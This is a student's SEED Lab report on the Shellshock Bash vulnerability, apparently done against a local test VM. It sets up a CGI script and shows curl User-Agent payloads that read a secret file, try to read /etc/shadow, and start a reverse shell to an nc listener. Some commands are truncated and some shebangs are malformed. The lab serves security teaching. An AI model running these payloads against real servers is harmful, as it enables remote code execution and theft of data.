Shellshock
This is report of SEED Lab report.
Table of Contents
- Task 1: Experimenting with Bash Function
- Task 2: Setting up CGI programs
- Task 3: Passing Data to Bash via Environment Variable
- Task 4: Launching the Shellshock Attack
- Task 5: Getting a Reverse Shell via Shellshock Attack
- Task 6: Using the Patched Bash
Task 1: Experimenting with Bash Function
For this task, we need to run a prepared shell (ubuntu16 has fixed this bug):
1 | /bin/bash_shellshock |
Task 2: Setting up CGI programs
In this lab, we will launch a Shellshock attack on a remote web server. Many web servers enable CGI, which is a standard method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using shell scripts. Therefore, before a CGI program is executed, a shell program will be invoked first, and such an invocation is triggered by a user from a remote computer. If the shell program is a vulnerable Bash program, we can exploit the Shellshock vulnerable to gain privileges on the server.
create myproc.cgi
:
1 | touch myprog.cgi |
fill it with:
1 | !/bin/bash_shellshock |
move it to /usr/lib/cgi-bin
and set its permission to 755:
1 | sudo chmod 755 myproc.cgi |
Task 3: Passing Data to Bash via Environment Variable
we can use curl -A "info" url
to passing data to bash.
1 | [02/25/20]seed@VM:.../cgi-bin$ curl -A "hello" http://localhost/cgi-bin/show.cgi |
Then we can find that data “hello” has been sent to HTTP_USER_AGENT
Task 4: Launching the Shellshock Attack
Our target is to leak the info in /tmp/secret.txt
,which has been created manually before.
If we want to look up some info in a file locally, usually we will use “cat xxx” command.
So our solution is trying to send such command to server and let the server shell execute that command.
1 | curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat |
Here i have tried so many times but i don’t know why it cannot succeed.
• Using the Shellshock attack to steal the content of a secret file from the server.
• Answer the following question: will you be able to steal the content of the shadow file /etc/shadow
? Why or why not?
1 | curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/shadow" http://localhost/cgi-bin/show.cgi |
we cannot steal the content of the shadow file. Because Apache is running with a www-data account, and its cannot access etc\shadow
of descriptor 620 . So our attack would fail.
Task 5: Getting a Reverse Shell via Shellshock Attack
First, we need listen on the port 9090 (like the lab we have done before.)
1 | nc -l 9090 -v |
And then we need construct a malicious code:
1 | curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/bash -i > |
Task 6: Using the Patched Bash
1 | !/bin/bash |
Then we try to steal the contents.
1 | curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat |
We will failed in a new bash.